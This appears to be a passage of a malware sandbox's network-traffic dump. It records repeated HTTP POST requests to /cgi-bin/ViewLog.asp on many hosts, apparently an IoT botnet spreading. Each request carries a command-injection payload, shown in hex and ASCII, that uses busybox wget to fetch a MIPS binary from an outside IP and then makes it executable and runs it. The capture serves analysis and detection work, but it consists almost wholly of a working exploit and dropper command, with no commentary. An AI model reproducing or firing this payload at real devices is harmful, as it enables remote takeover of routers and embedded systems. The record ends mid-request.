                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.464199066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                501192.168.2.153309631.136.113.168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.321537971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:11.929433107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:13.113394976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:15.481348038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.345279932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:29.816939116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.272475004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                502192.168.2.153994885.199.50.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.328007936 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                503192.168.2.153450095.183.109.1668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.354335070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:11.570199966 CET378INHTTP/1.1 404 Not Found
                                                Server: nginx/1.14.0
                                                Date: Thu, 23 Nov 2023 04:22:11 GMT
                                                Content-Type: text/html
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                504192.168.2.153811694.121.25.1668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.354399920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                505192.168.2.153872894.120.43.2158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.354444981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                506192.168.2.155916885.192.56.1008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.374989033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:12.153429985 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:13.721357107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.017287016 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:23.417100906 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.960762024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.560048103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                507192.168.2.153724031.136.108.208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.512830019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:12.089515924 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:13.273549080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:15.737380028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.601330042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.072921991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.272492886 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
